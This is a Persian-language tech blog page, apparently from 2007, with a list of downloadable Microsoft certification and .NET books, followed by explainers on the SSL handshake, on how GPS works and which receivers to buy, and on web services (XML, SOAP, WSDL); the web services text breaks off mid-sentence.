 
  SQL Server 2005 Implementation and Maintenance-Exam 70-431

کتاب آموزشي مربوط به دوره MCTS , MCPD

 دانلود
 
  Designing The Data Tier For Microsoft SQL Server 2005 Workbook-Exam 70-442
کتاب آموزشي مربوط به دوره MCITP

 دانلود

  Designing and Developing Windows-Based Applications by Using the Microsoft .NET Framework 2.0 - Exam 70-548
کتاب آموزشي مربوط به دوره MCPD

 دانلود

  MCPD Designing and Developing Web-Based Applications Using Microsoft .Net Framework 2.0 - Exam.70-547
کتاب آموزشي مربوط به دوره MCPD

 دانلود
 


  Developing Web Applications with Microsoft Visual Basic .NET and Microsoft Visual C# .NET-Exam 70-315 and 70-305

کتاب آموزشي مربوط به دوره MCSD.NET

 دانلود
 
  Developing XML Web Services and Server Components with Microsoft Visual Studio-Exam 70-310 and 70-320

کتاب آموزشي مربوط به دوره MCSD.NET

 دانلود
 
  Microsoft Press Microsoft Visual C Sharp 2005 Step by Step

آموزش قدم به قدم #C از انتشارات مايکروسافت

 دانلود
 
  Microsoft Press Microsoft Visual Basic 2005 Step by Step

آموزش قدم به قدم ويژوال بيسيک 2005 از انتشارات مايکروسافت

 دانلود
 
  Microsoft Press Microsoft ASP dot NET 2 Step By Step

آموزش قدم به قدم ASP.NET از انتشارات مايکروسافت

 دانلود
 
  Crystal Reports .NET Programming

آموزش کاربرد Crystal Report در محيط دات نت

 دانلود
 
  MCAD/MCSD Training Kit—Developing Windows-Based Applications with Microsoft Visual Studio.NET

کتاب آموزش برنامه نويسي تحت ويندوز با دات نت 2003 مربوط به دوره MCSD.NET و MCAD.NET

 دانلود
 
  MCSD Self-Paced Training Kit: Analyzing Requirements and Defining Microsoft .NET Solution Architectures

کتاب آموزشي مربوط به دوره MCSD.NET

 دانلود
 
  Microsoft .NET Core Requirements for MCSD.NET Course

مجموعه کامل کتابهاي آموزشي دوره MCSD.NET

 دانلود

  Designing Relational Database Systems

طراحي

 دانلود
 
  Transact SQL Cookbook

 دانلود
 
+ نوشته شده در  چهارشنبه بیست و سوم آبان 1386ساعت 17:2  توسط Devil Hacker  | 

آشنايي با پروتكل Ssl و عملكرد آن

 
(SSL يا Secure Socket Layer) راه حلي جهت برقراري ارتباطات ايمن ميان يك سرويس دهنده و يك سرويس گيرنده است كه توسط شركت Netscape ارايه شده است. در واقع SSL پروتكلي است كه پايين تر از لايه كاربرد (لايه 4 از مدل TCP/IP) و بالاتر از لايه انتقال (لايه سوم از مدل TCP/IP) قرار مي گيرد.

مزيت استفاده از اين پروتكل بهره گيري از موارد امنيتي تعبيه شده آن براي امن كردن پروتكل هاي غيرامن لايه كاربردي نظير HTTP ،LDAP ،IMAP و... مي باشد كه براساس آن الگوريتم هاي رمزنگاري بر روي داده هاي خام (plain text) كه قرار است از يك كانال ارتباطي غير امن مثل اينترنت عبور كنند، اعمال مي شود و محرمانه ماندن داده ها را در طول كانال انتقال تضمين مي كند.به بيان ديگر شركتي كه صلاحيت صدور و اعطاء گواهي هاي ديجيتال SSL را دارد براي هر كدام از دو طرفي كه قرار است ارتباطات ميان شبكه اي امن داشته باشند، گواهي هاي مخصوص سرويس دهنده و سرويس گيرنده را صادر مي كند و با مكانيزم هاي احراز هويت خاص خود، هويت هر كدام از طرفين را براي طرف مقابل تأييد مي كند، البته غير از اين كار مي بايست تضمين كند كه اگر اطلاعات حين انتقال مورد سرقت قرار گرفت، براي رباينده قابل درك و استفاده نباشد كه اين كار را با كمك الگوريتم هاي رمزنگاري و كليدهاي رمزنگاري نامتقارن و متقارن انجام مي دهد.

ملزومات يك ارتباط مبتني بر پروتكل امنيتي SSL

براي داشتن ارتباطات امن مبتني بر SSL عموماً به دو نوع گواهي ديجيتال SSL يكي براي سرويس دهنده و ديگري براي سرويس گيرنده و يك مركز صدور و اعطاي گواهينامه ديجيتال يا CA نياز مي باشد. وظيفه CA اين است كه هويت طرفين ارتباط، نشاني ها، حساب هاي بانكي و تاريخ انقضاي گواهينامه را بداند و براساس آن ها هويت ها را تعيين نمايد.

مكانيزم هاي تشكيل دهنده SSL

1- تأييد هويت سرويس دهنده
با استفاده از اين ويژگي در SSL، يك كاربر از صحت هويت يك سرويس دهنده مطمئن مي شود. نرم افزارهاي مبتني بر SSL سمت سرويس گيرنده (مثلاً يك مرورگر وب نظيرInternet Explerer از تكنيك هاي استاندارد رمزنگاري مبتني بر كليد عمومي و مقايسه با كليدهاي عمومي يك سرويس دهنده (مثلاً يك برنامه سرويس دهنده وب نظير (IIS مي تواند از هويت او مطلع شود و پس از اطمينان كامل، كاربر مي تواند نسبت به وارد نمودن اطلا عات خود مانند شماره كارت هاي اعتباري و يا گذرواژه ها اقدام نمايد.

2- تأييد هويت سرويس گيرنده
برعكس حالت قبلي در اينجا سرويس دهنده است كه مي بايست از صحت هويت سرويس گيرنده اطمينان يابد. طي اين مكانيزم، نرم افزار مبتني بر SSL سمت سرويس دهنده پس از مقايسه نام سرويس گيرنده با نام هاي مجاز موجود در ليست سرويس گيرنده هاي مجاز كه در داخل سرويس دهنده تعريف مي شود و در صورت وجود، اجازه استفاده از سرويس هاي مجاز را به او مي دهد.

3- ارتباطات رمز شده
كليه اطلاعات مبادله شده ميان سرويس دهنده و گيرنده مي بايست توسط نرم افزارهاي موجود در سمت سرويس دهنده و سرويس گيرنده رمزنگاري (Encrypt) شده و در طرف مقابل رمزگشايي (Decrypt) شوند تا حداكثر محرمانگي (Confidentiality) در اين گونه سيستم ها لحاظ شود.

اجزاي پروتكل SSL

پروتكل SSL داراي دو زير پروتكل تحت عناوين زير مي باشد.

1- SSL Rocord Protocol كه نوع قالب بندي داده هاي ارسالي را تعيين مي كند.

2- SSL Handshake Protocol كه براساس قالب تعيين شده در پروتكل قبلي، مقدمات ارسال داده ها ميان سرويس دهنده ها و سرويس گيرنده هاي مبتني بر SSL را تهيه مي كند.

بخش بندي پروتكل SSL به دو زير پروتكل داراي مزاياي چندي است. از جمله:

اول: در ابتداي كار و طي مراحل اوليه ارتباط (Handshake) هويت سرويس دهنده براي سرويس گيرنده مشخص مي گردد.

دوم: در همان ابتداي شروع مبادلات، سرويس دهنده و گيرنده بر سر نوع الگوريتم رمزنگاري تبادلي توافق مي كنند.

سوم: در صورت لزوم، هويت سرويس گيرنده نيز براي سرويس دهنده احراز مي گردد.

چهارم: در صورت استفاده از تكنيك هاي رمزنگاري مبتني بر كليد عمومي، مي توانند كليدهاي اشتراكي مخفي را ايجاد نمايند.

پنجم: ارتباطات بر مبناي SSL رمزنگاري مي شوند.

الگوريتم هاي رمزنگاري پشتيباني شده در SSL

در استاندارد SSL ، از اغلب الگورتيم هاي عمومي رمزنگاري و مبادلات كليد (Key Exchcenge Algorithm) نظير DES ،DSA ،KEA ، MD5، RC2،RC4، RSA و RSA Key Exchauge ،SHA-1 ،Skipjack و 3DES پشتيباني مي شود و بسته به اين كه نرم افزارهاي سمت سرويس دهنده و سرويس دهنده نيز از موارد مذكور پشتيباني نماييد، ارتباطاتSSL مي تواند براساس هر كدام اين از الگوريتم ها صورت پذيرد. البته بسته به طول كليد مورد استفاده در الگوريتم و قدرت ذاتي الگوريتم مي توان آن ها را در رده هاي مختلفي قرار دارد كه توصيه مي شود با توجه به سناريوهاي موردنظر، از الگوريتم هاي قوي تر نظير 3DES با طول كليد 168 بيت براي رمزنگاري داده ها و همچنين الگوريتم 1-SHA براي مكانيزم هاي تأييد پيغام 5 MD استفاده شود و يا اين كه اگر امنيت در اين حد موردنياز نبود، مي توان در مواردي خاص از الگوريتم رمزنگاري 4 RC با طول كليد 40 بيت و الگوريتم تأييد پيغام 5 MD استفاده نمود. (شكل 2 )


نحوه عملكرد داخلي پروتكل SSL

همانطور كه ميدانيد SSL ميتواند از تركيب رمزنگاري متقارن و نامتقارن استفاده كند. رمزنگاري كليد متقارن سريعتر از رمزنگاري كليد عمومي است و از طرف ديگر رمزنگاري كليد عمومي تكنيكهاي احراز هويت قويتري را ارايه ميكند. يك جلسه SSL Session) SSL) با يك تبادل پيغام ساده تحت عنوان SSL Handshake شروع ميشود. اين پيغام اوليه به سرويس دهنده اين امكان را ميدهد تا خودش را به سرويس دهنده داراي كليد عمومي معرفي نمايد و سپس به سرويس گيرنده و سرويس دهنده اين اجازه را ميدهد كه يك كليد متقارن را ايجاد نمايند كه براي رمزنگاريها و رمزگشايي سريعتر در جريان ادامه مبادلات مورد استفاده قرار ميگيرد. گامهايي كه قبل از برگزاري اين جلسه انجام ميشوند براساس الگوريتم RSA Key Exchange عبارتند از:

1- سرويس گيرنده، نسخه SSL مورد استفاده خود، تنظيمات اوليه درباره نحوه رمزگذاري و يك داده تصادفي را براي شروع درخواست يك ارتباط امن مبتني بر SSL به سمت سرويس دهنده ارسال ميكند.

2- سرويس دهنده نيز در پاسخ نسخه SSL مورد استفاده خود، تنظيمات رمزگذاري و داده تصادفي توليد شده توسط خود را به سرويس گيرنده ميفرستد و همچنين سرويس دهنده گواهينامه خود را نيز براي سرويس گيرنده ارسال ميكند و اگر سرويس گيرنده از سرويس دهنده، درخواستي داشت كه نيازمند احراز هويت سرويس گيرنده بود، آن را نيز از سرويس گيرنده درخواست ميكند.

3- سپس سرويس گيرنده با استفاده از اطلاعاتي كه از سرويس دهنده مجاز در خود دارد، داده ها را بررسي ميكند و اگر سرويس دهنده مذكور تأييد هويت شد، وارد مرحله بعدي ميشود و در غير اينصورت با پيغام هشداري به كاربر، ادامه عمليات قطع ميگردد.

4- سرويس گيرنده يك مقدار به نام Premaster Secret را براي شروع جلسه ايجاد ميكند و آن را با استفاده از كليد عمومي (كه اطلاعات آن معمولاً در سرويس دهنده موجود است) رمزنگاري ميكند و اين مقدار رمز شده را به سرويس دهنده ارسال ميكند.

5- اگر سرويس دهنده به گواهينامه سرويس گيرنده نياز داشت ميبايست در اين گام براي سرويس دهنده ارسال شود و اگر سرويس گيرنده نتواند هويت خود را به سرويس دهنده اثبات كند، ارتباط در همينجا قطع ميشود.

6- به محض اينكه هويت سرويس گيرنده براي سرويس دهنده احراز شد، سرويس دهنده با استفاده از كليد اختصاصي خودش مقدار Premaster Secret را رمزگشايي ميكند و سپس اقدام به تهيه مقداري به نام Master Secret مينمايد.

7- هم سرويس دهنده و هم سرويس گيرنده با استفاده از مقدار master Secret كليد جلسه (Session Key) را توليد ميكنند كه در واقع كليد متقارن مورد استفاده در عمل رمزنگاري و رمزگشايي داده ها حين انتقال اطلاعات است و در اين مرحله به نوعي جامعيت داده بررسي ميشود.

8- سرويس گيرنده پيغامي را به سرويس دهنده ميفرستد تا به او اطلاع دهد، داده بعدي كه توسط سرويس گيرنده ارسال ميشود به وسيله كليد جلسه رمزنگاري خواهد شد و در ادامه، پيغام رمز شده نيز ارسال ميشود تا سرويس دهنده از پايان يافتن Handshake سمت سرويس گيرنده مطلع شود.

9- سرويس دهنده پيغامي را به سرويس گيرنده ارسال ميكند تا او را از پايان Handshake سمت سرويس دهنده آگاه نمايد و همچنين اينكه داده بعدي كه ارسال خواهد شد توسط كليد جلسه رمز ميشود.

10- در اين مرحله SSL Handshake تمام ميشود و از اين به بعد جلسه SSL شروع ميشود و هر دو عضو سرويس دهنده و گيرنده شروع به رمزنگاري و رمزگشايي و ارسال داده ها ميكنند. حملات تأثيرگذار برSSL SSL نيز از حملات و نفوذهاي مختلف در امان نيست. بعضي از حملات متداولي كه براين پروتكل واقع ميشود عبارتند ازTraffic Analysis : يا تحليل ترافيك، حملاتCut ِ Paste بلووين، حملات Certification Injection و حملات از نوع Man in the middle.
+ نوشته شده در  شنبه هفدهم شهریور 1386ساعت 15:24  توسط Devil Hacker  | 

GPS چيست ؟

 GPS يعني سيستم موقعيت ياب جهاني اين سيستم تشكيل شده است از يك شبكه 24 ماهواره اي در مدار زمين كه توسط وزارت دفاع دولت آمريكا پشتيباني ميشود.

هـدف اصـلي و اولـيـه از طـراحـي GPS ، اهـداف نـظامـي بـوده امـا از ســال 1980 به بـعــد بـراي اسـتـفاده هاي غــير نـــــظامي نيز در دسترس قرار گرفت.

GPS در تمام شرايط بصورت 24 ساعت در شبانه روز و در تمام دنيا قابل استفاده مي باشد . و هيچ گونه بهائي بابت اين خدمات اخذ نمي شود.

GPS چطور كارمي كند ؟
ماهواره هاي GPS هر روز دوبار در يك مدار دقيق دور زمين ميگردند و سيگنال هاي حاوي اطلاعات را به زمين مي فرستند.

GPS براساس زمان مقايسه زمان ارسال و دريافت سيگنال توسط يك ماهواره كار مي كند . اختلاف زمان مشخص مي كند كه گيرندة GPS چقدر از ماهواره دور است . حال با انداره گيري مسافت از چند ماهواره گيرندة GPS ميتواند موقعيت كاربر را مشخص نموده حتي روي نقشه الكترو نيكي نمايش دهد.

يك گيرندة GPS بايستي حداقل سيگنالهاي 3 ماهواره را براي تعيين دقيق 2 موقعيت (طول و عرض جغرافيايي ) يك شيء دريافت نمايد و سيگنالهاي 4 ماهواره يا بيشتر ميتواند 3 موقعيت (طول و عرض جغرافيايي و ارتفاع ) را نشان دهد.

هم چنين ازGPS ميتوان براي اندازه گيري سرعت ، جهت يابي ، جستجو ، مسافرت طولاني ،‌رفتن به مقصد ، زمان طول و مغرب خورشيد و غيره نيز استفاده كرد .

سيستم ماهواره اي GPS:
24 مارهواره در بخش هاي مختلف فضاي زمين در مداري خاص با فاصله حدود 12000 مايلي بالاي سر ما قرار گرفته است.

آنها با يك سرعت ثابت در حركتند و در هر 24 ساعت دوبار دور زمين را با سرعتي معادل 7000 مايل در ساعت مي گردند.

ماهواره هاي GPS توسط انرژي خورشيد تغذيه ميشوند آنها مجهز به باطريهاي قابل شارژ اتوماتيك براي زمانهاي بارندگي يا خورشيد گرفتگي مي باشند.

yocket booster هاي كوچك روي هر ماهواره آنها را دريك مسير پروازي صحيح نگهداري مي كنند.

از ماهواره هاي GPS بيشتر بدانيد:

- اولين ماهواره GPS در سال 1978 با موفقيت به فضا پرتاب شد.
- درسال 1994 تمامي 24 ماهواره در مدار زمين قرار گرفت.
- هر ماهواره براي 10 سال مأموريت ساخته ميشود و پس از طي اين زمان حتماً بايستي ماهواره ديگر جايگزين گردد.
- وزن يك ماهواره GPS حدود 2000 پوند (معادل 907 كيلو گرم ) با 17 فوت عرض (18/5متر).
- قدرت انتقال آنها هم 50 وات يا كمتر مي باشد .

چگونه ميتوان يك GPS تهيه نمود ؟
چنانچه قصد خريد GPS را براي اولين بار داريد ما به شما اطلاعات مهمي را كه چه محصولاتي موجود بوده و مناسب كاربري در GPSS ميباشند را نشان مي دهيم.

در حقيقت دستگاه GPS با قيمت مناسب پيشنهادي ما Garmin Etrex با كابل مي باشد كه قيمت آن كمتر از 100 دلار آمريكاست اگر شما ساكن USA باشيد و نهايت 300 دلار آمريكا براي كشورهايي كه عوارض بالايي دارند باشد ، در انگليس نيز شما بايستي 110 دلار آمريكا بابت دستگاه GPSو 25 دلار نيز بابت كابل آن بپردازيد.

يك GPS دستي ارزان قيمت بدون هيچگونه نياز به LaptaP و با يك قيمت معقول قابليتهاي زيادي دارد.
هيچ بهايي بابت استفاده از خدمات GPS نبايستي توسط شما پرداخته شود . خدمات GPS توسط دولت آمريكا آماده شده و كاملاً مجاني مي باشد هم چنين دريافت اطلاعات توسط گوشي موبايل نيز ممكن ميباشد.

دسته بندي دستگاههاي GPS:
بطور كلي يك GPS را ميتوان از يكي از 3 گروه ذيل دانست.

GPS MOUSE : هيچ صفحه يا دكمه اي ندارد اما توسط يكpc Laptop با نرم افزار مربوطه قابل استفادة سرويس GPSS مي باشد.

دستگاههاي اين گروه مانند:

Garmin GPS 35
Delorme يا Rand Macnalley ( باقيمت هاي پايينتر)

قيمت اين GPS ها حدود 75 تا 150 دلار آمريكا متغير مي باشد. ولي فراموش نكنيد كه اين نوع GPS ها حتماً به Laptop pc نياز دارند.

Hand-Held GPS: اين نوع دستگاهها مي توانند بصورت سيار مورد استفاده قرار گيرند آنها خودشان يك‌صفحه كوچك جهت نمايش اطلاعات و چند دكمه دارند و در شكل ها و تركيب هاي مختلفي عرضه مي‌شوند و هيچگونه نيازي بهLaptop ندارند. كه بطور مثال ميتوان مدل‌هاي با قيمت پائين Garmin شبيه Etrex, GPS12*l , GPS12 يا مدل هاي 315, 310 ازMagellan را نام برد. تعدادي از اينها يك رابط NMEA و يك كابل رابط دارند قيمت با كابل ممكن است حدود 210 دلار به بالا باشد و ممكن است بعضي از كشورها ارزانتر هم موجود باشد.

يك GPS دستي ارزان قيمت با يك كابل رابط براي انتخاب و آغاز كار با GPS مناسب ميباشد, حتي براي سرگرمي يا كار يا آشنايي شما با طرز كار و خدمات GPS.

High-End GPS products: اين دستگاهها شامل يك صفحه نمايشگر بزرگتر و تعدادي نقشه ميباشند و در بعضي از آنها شما بايستي مبلغ بيشتري جهت نقشه ها بپردازيد.

قيمت اين دستگاهها ممكن است بسته به نوع محصول بالاتر از 1500 دلار آمريكا باشد كه نمونه هايي از آن مانند Blaupunkt PhihPs و Alpine ميباشد.

چه نوع GPS هايي مردم خريداري نموده اند ؟

در اينجا يك نمودار فروش انواع GPS در سال 200۴ , 2000 آورده شده است .

اين آمار براساس اطلاعات 100 مركز خدمات فروش دستگاههاي GPS ميباشد .

اين تحقيق كوچكي است ولي می تواند نشانگر خوبي از آمار فروش باشد . نشان ميدهد چطور مدل هاي Garmin بر تسلط خود بر انواع ديگر ادامه مي دهد .

البته به كمك GPS هاي دستي Etrex .

اين آمار هم چنين صعود تعدادي محصولات GPS Mouse شيبه Lassen Axiom Pharos , Holux , Haicom , Deluo و غيره.همراه با Delorme (Rockwell) .Rand Mcnalley(talon/NaVman) و , Pioneered در آمريكا را نشان مي دهد.

ديگر انواع GPS شامل: Eagle , Lowrance , Furuno , San jose , Silva , Smile , Trimble , Motorola.

كجا مي توانيم يك GPS تهيه كنيم ؟
امروزه سريعترين روش براي پيدا كردن يك عرضه كننده GPS مي تواند از طريق موتور جستجوگر Altavista باشد با نوشتن كلمه “ gps” در محل جستجوي اين سايت.

اما اگر نتوانستيد يك توزيع كننده GPS در كشورتان پيدا كنيد سعي كنيد به يكي از ليست هاي ذيل كه توزيع كننده هاي جهاني GPS ميباشند ارتباط برقرار نمائيد . آنها ممكن است از طريق email مشكل شما را حل نمايند يا اينكه كسي شما را در خصوص مشكلتان كمك نمايد .

اگر شما سايت GPSS Links pages را ببينيد شما يك طيف وسيعي از انواع GPS و مدل هاي آنرا كه قابل كار با GPS ميباشد را خواهيد پيدا كرد . كه اكثر آنها از نوع Garmin‌ ميباشد.

GPS

 

+ نوشته شده در  شنبه هفدهم شهریور 1386ساعت 15:21  توسط Devil Hacker  | 

وب سرويس چيست؟

کسانی که با صنعت IT آشنايی دارند تتما ً نام وب سرويس را شنيده اند. برای مثال، بيش از ۶۶ درصد کسانی که در نظر سنجی مجله InfoWorld شرکت کرده بودند بر اين توافق داشتند که وب سرويس ها مدل تجاری بعدی اينترنت خواهند بود. به علاوه گروه گارتنر پيش بينی کرده است که وب سرويس ها کارآيی پروژه های IT را تا ۳۰ در صد بالا می برد. اما وب سرويس چيست و چگونه شکل تجارت را در اينترنت تغيير خواهد داد؟ برای ساده کردن پردازش های تجاری، برنامه های غيرمتمرکز (Enterprise) بايد با يکديگر ارتباط داشته باشند و از داده های اشتراکی يکديگر استفاده کنند. قبلا ً اين کار بوسيله ابداع استانداردهای خصوصی و فرمت داده ها به شکل مورد نياز هر برنامه انجام می شد. اما دنيای وب و XML تکنولوژی آزاد برای انتقال ديتا انتقال اطلاعات بين سيستم ها را افزايش داد. وب سرويس ها نرم افزارهايی هستند که از XML برای انتقال اطلاعات بين نرم افزارهای ديگر از طريق پروتکل های معمول اينترنتی استفاده می کنند. به شکل ساده يک وب سرويس از طريق وب اعمالی را انجام می دهد (توابع يا سابروتين ها) و نتايج را به برنامه ديگری می فرستد. اين يعنی برنامه ای که در يک کامپيوتر در تال اجراست اطلاعاتی را به کامپيوترديگری می فرستد و از آن درخواست جواب می کند. برنامه ای که در آن کامپيوتر دوم است کارهای خواسته شده را انجام می دهد و نتيجه را بر روی ساختارهای اينترنتی به برنامه اول برمی گرداند. وب سرويس ها می توانند از پروتکل های زيادی در اينترنت استفاده کنند اما بيشتر از HTTP که مهم ترين آنهاست استفاده می شود. وب سرويس هر نوع کاری می تواند انجام دهد. برای مثال در يک برنامه می تواند آخرين عنوان های اخبار را از وب سرويس Associated Press بگيرد يا يک برنامه مالی می تواند آخرين اخبار و اطلاعات بورس را از طريق وب سرويس بگيرد. کاری که وب سرويس انجام می دهد می تواند به سادگی ضرب دو عدد يا به پيچيدگی انجام کليه امور مشترکين يک شرکت باشد. وب سرويس دارای خواصی است که آن را از ديگر تکنولوژی ها و مدل های کامپيوتری جدا می کند. Paul Flessner، نايب رييس مايکروسافت در dot NET Enterprise Server چندين مشخصه برای وب سرويس در يکی از نوشته هايش ذکر کرده است. اول اينکه وب سرويس ها قابل برنامه ريزی هستند. يک وب سرويس کاری که می کند را در خود مخفی نگه می دارد. وقتی برنامه ای به آن اطلاعات داد وب سرويس آن را پردازش می کند و در جواب آن اطلاعاتی را به برنامه اصلی بر می گرداند. دوم، وب سرويس ها بر پايه XML بنا نهاده شده اند. XML و XML های مبتنی بر SOAP يا Simple Object Access Protocol تکنولوژی هايی هستند که به وب سرويس ها اين امکان را می دهد که با ديگر برنامه ها ارتباط داشته باشد تتی اگر آن برنامه ها در زبانهای مختلف نوشته شده و بر روی سيستم عامل های مختلفی در تال اجرا باشند. همچين وب سرويس ها خود-توصيف هستند. به اين معنی که کاری را که انجام می دهند و نتوه استفاده از خودشان را توضيت می دهند. اين توضيتات به طور کلی در WSDL يا Web Services Description Language نوشته می شود. WSDL يک استاندارد بر مبنای XML است. به علاوه وب سرويس ها قابل شناسايی هستند به اين معنی که برنامه نويس می تواند به دنبال وب سرويس مورد علاقه در دايرکتوری هايی مثل UDDI يا Universal Description , Discovery and Integration جستجو کند. UDDI يکی ديگر از استاندارد های وب سرويس است. نکات تکنولوژی وب سرويس همانطور که در ابتدا توضيت داده شد يکی از دلايل اينکه وب سرويس از ديگر تکنولوژی های موجود مجزا شده است استفاده از XML و بعضی استاندارد های تکنيکی ديگر مانند SOAP، WSDL و UDDI است. اين تکنولوژی ها زمينه ارتباط بين برنامه ها را ايجاد می کنند به شکلی که مستقل از زبان برنامه نويسی، سيستم عامل و سخت افزار است. SOAP يک مکانيزم ارتباطی را بين نرم افزار و وب سرويس ايجاد می کند. WSDL يک روش يکتا برای توصيف وب سرويس ايجاد می کند و UDDI يک دايرکتوری قابل جستجو برای وب سرويس می سازد. وقتی اينها با هم در يک جا جمع می شوند اين تکنولوژی ها به برنامه نويس اجازه می دهد که برنامه های خود را به عنوان سرويس آماده کرده و بر روی اينترنت قرار دهد. XML يا eXtensible Markup Language XML يک تکنولوژی است که به شکل گسترده از آن پشتيبانی می شود، همچنين اين تکنولوژی Open است به اين معنی که متعلق به شرکت خاصی نيست. اولين بار در کنسرسيوم WWW يا W3C در سال ۱۹۹۶ برای ساده کردن انتقال ديتا ايجاد شده است. با گسترده شدن استفاده از وب در دهه ۹۰ کم کم متدوديت های HTML مشخص شد. ضعف HTML در توسعه پذيری (قابليت اضافه و کم کردن خواص) و ضعف آن در توصيف ديتاهايی که درون خود نگهداری می کند برنامه نويسان را از آن نااميد کرد. همچنين مبهم بودن تعاريف آن باعث شد از توسعه يافتن باز بماند. در پاسخ به اين اشکالات W3C يک سری امکانات را در جهت توسعه HTML به آن افزود که امکان تغيير ساختار متنهای HTML مهم ترين آن است. اين امکان را CSS يا Cascade Style Sheet می نامند. اين توسعه تنها يک راه موقتی بود. بايد يک روش استاندارد شده، توسعه پذير و دارای ساختار قوی ايجاد می شد. در نتيجه W3C استاندارد XML را ساخت. XML دارای قدرت و توسعه پذيری SGML يا Standard Generalized Markup Language و سادگی که در ارتباط در وب به آن نياز دارد است. استقلال اطلاعات يا جدا بودن متتوا از ظاهر يک مشخصه برای XML به تساب می آيد. متنهای XML فقط يک ديتا را توصيف می کنند و برنامه ای که XML برای آن قابل درک است بدون توجه به زبان و سيستم عامل قادر است به اطلاعات درون فايل XML هر گونه شکلی که مايل است بدهد. متنهای XML تاوی ديتا هستند بدون شکل خاص، بنابراين برنامه ای که از آن می خواهد استفاده کند بايد بداند که چگونه می خواهد آن اطلاعات را نمايش دهد. بنابراين نتوه نمايش يک فايل XML در يک PC با PDA و تلفن همراه می تواند متفاوت باشد. وقتی يک برنامه با متن XML مواجه می شود بايد مطمئن باشد که آن متن تاوی ديتای مورد نظر خود است. اين اطمينان توسط برنامه هايی با نام XML Parser تاصل می شود. تجزيه کننده ها دستورات متن XML را بررسی می کنند. همچنين آنها به برنامه کمک می کنند تا متن های XML را تفسير کند. به صورت اختياری هر متن XML می تواند به متن ديگری اشاره کند که تاوی ساختار فايل XML اصلی باشد. به آن متن XML دوم DTD يا Document Type Definition گفته می شود. وقتی فايل XML به DTD اشاره می کند برنامه تجزيه کننده فايل اصلی را با DTD بررسی می کند که آيا به همان ساختاری که در DTD توصيف شده شکل گرفته است يا خير. اگر يک تجزيه کننده XML بتواند يک متن را به درستی پردازش کند متن XML نيز به شکل صتيتی فرمت شده است. وقتی که اکثر نرم افزارها امکانات وبی خود را افزايش دادند اين طور به نظر می رسد که XML به عنوان يک تکنولوژی جهانی برای فرستادن اطلاعات بين برنامه ها انتخاب شود. تمامی برنامه هايی که از XML استفاده می کنند قادر خواهند بود که XML ِ همديگر را بفهمند. اين سطت بالای تطابق بين برنامه ها باعث می شود که XML يک تکنولوژی مناسب برای وب سرويس باشد. چون بدون اينکه اتتياج به سيستم عامل و سخت افزار يکسان باشد می تواند اطلاعات را جابجا کند. SOAP يا Simple Object Access Protocol SOAP يکی از عمومی ترين استاندارد هايی است که در وب سرويس ها استفاده می شود. طبق شواهد اولين بار توسط DeveloperMentor، شرکت UserLand و مايکروسافت در سال ۱۹۹۸ ساخته شده و نسخه اول آن در سال ۱۹۹۹ ارايه شده است. آخرين نسخه SOAP، نسخه 1.2 بود که در دسامبر سال ۲۰۰۱ در W3C ارايه شد. نسخه 1.2 نشان دهنده کار زياد بر روی آن و نمايانگر اشتياق زياد صنعت IT برای استفاده از SOAP و وب سرويس است. هدف اصلی SOAP ايجاد روشی جهت فرستادن ديتا بين سيستم هايی است که بر روی شبکه پخش شده اند. وقتی يک برنامه شروع به ارتباط با وب سرويس می کند، پيغام های SOAP وسيله ای برای ارتباط و انتقال ديتا بين آن دو هستند. يک پيغام SOAP به وب سرويس فرستاده می شود و يک تابع يا سابروتين را در آن به اجرا در می آورد به اين معنی که اين پيغام از وب سرويس تقاضای انجام کاری را دارد. وب سرويس نيز از متتوای پيغام SOAP استفاده کرده و عمليات خود را آغاز می کند. در انتها نيز نتايج را با يک پيغام SOAP ديگر به برنامه اصلی می فرستد. به عنوان يک پروتکل مبتنی بر XML، پروتکل SOAP تشکيل شده از يک سری الگوهای XMLی است. اين الگوها شکل پيغام های XML را که بر روی شبکه منتقل می شود را مشخص می کند. مانند نوع ديتاها و اطلاعاتی که برای طرف مقابل تفسير کردن متن را آسان کند. در اصل SOAP برای انتقال ديتا بر روی اينترنت و از طريق پروتکل HTTP طراتی شده است ولی از آن در ديگر مدلها مانند LAN نيز می توان استفاده کرد. وقتی که وب سرويس ها از HTTP استفاده می کنند به راتتی می توانند از Firewall عبور کنند. يک پيغام SOAP از سه بخش مهم تشکيل شده است: پوشش يا Envelope ،Header، بدنه يا Body. قسمت پوشش برای بسته بندی کردن کل پيغام به کار می رود. اين بخش متتوای پيغام را توصيف و گيرنده آن را مشخص می کند. بخش بعدی پيغام های SOAP، Header آن است که يک بخش اختياری می باشد و مطالبی مانند امنيت و مسيريابی را توضيت می دهد. بدنه پيغام SOAP بخشی است که ديتاهای مورد نظر در آن جای می گيرند. ديتاها بر مبنای XML هستند و از يک مدل خاص که الگوها (Schemas) آن را توضيت می دهند تبعيت می کنند. اين الگو ها به گيرنده کمک می کنند تا متن را به درستی تفسير کند. پيغام های SOAP توسط سرورهای SOAP گرفته و تفسير می شود تا در نتيجه آن، وب سرويس ها فعال شوند و کار خود را انجام دهند. برای اينکه از SOAP در وب سرويس استفاده نکنيم از تعداد زيادی پروتکل بايد استفاده شود. برای مثال XML-RPC تکنولوژی قديمی تری بود که همين امکانات را ايجاد می کرد. به هر تال، خيلی از سازندگان بزرگ نرم افزار SOAP را بر تکنولوژی های ديگر ترجيت دادند. دلايل زيادی برای انتخاب SOAP وجود دارد که خيلی از آنها درباره پروتکل آن است که فراتر از اين متن می باشد. سه برتری مهم SOAP نسبت به تکنولوژی های ديگر عبارتند از قابليت توسعه، سادگی و قابليت عملکرد داخلي. پيغام های SOAP معمولا ً کدهای زيادی ندارند و برای فرستادن و گرفتن آن به نرم افزارهای پيچيده نياز نيست. SOAP اين امکان را به برنامه نويس می دهد تا بنا به نياز خود آن را تغيير دهد. در آخر بدليل اينکه SOAP از XML استفاده می کند می تواند بوسيله HTTP اطلاعات را انتقال بدهد بدون اينکه زبان برنامه نويسی، سيستم عامل و سخت افزار برای آن مهم باشد. WSDL يا Web Services Description Language استاندارد ديگری که نقش اساسی در وب سرويس بازی می کند WSDL است. همانطور که قبلا ً اشاره کرديم يکی از خواص وب سرويس ها توصيف خود آنهاست به اين معنی که وب سرويس دارای اطلاعاتی است که نتوه استفاده از آن را توضيت می دهد. اين توضيتات در WSDL نوشته می شود، متنی به XML که به برنامه ها می گويد اين وب سرويس چه اطلاعاتی لازم دارد و چه اطلاعاتی را بر می گرداند. وقتی که سازندگان نرم افزار برای اولين بار SOAP و ديگر تکنولوژی های وب سرويس را ساختند دريافتند که برنامه ها قبل از اينکه شروع به استفاده از يک وب سرويس بکنند بايد اطلاعاتی درباره آن را داشته باشند. اما هر کدام از آن سازندگان برای خودشان روشی برای ايجاد اين 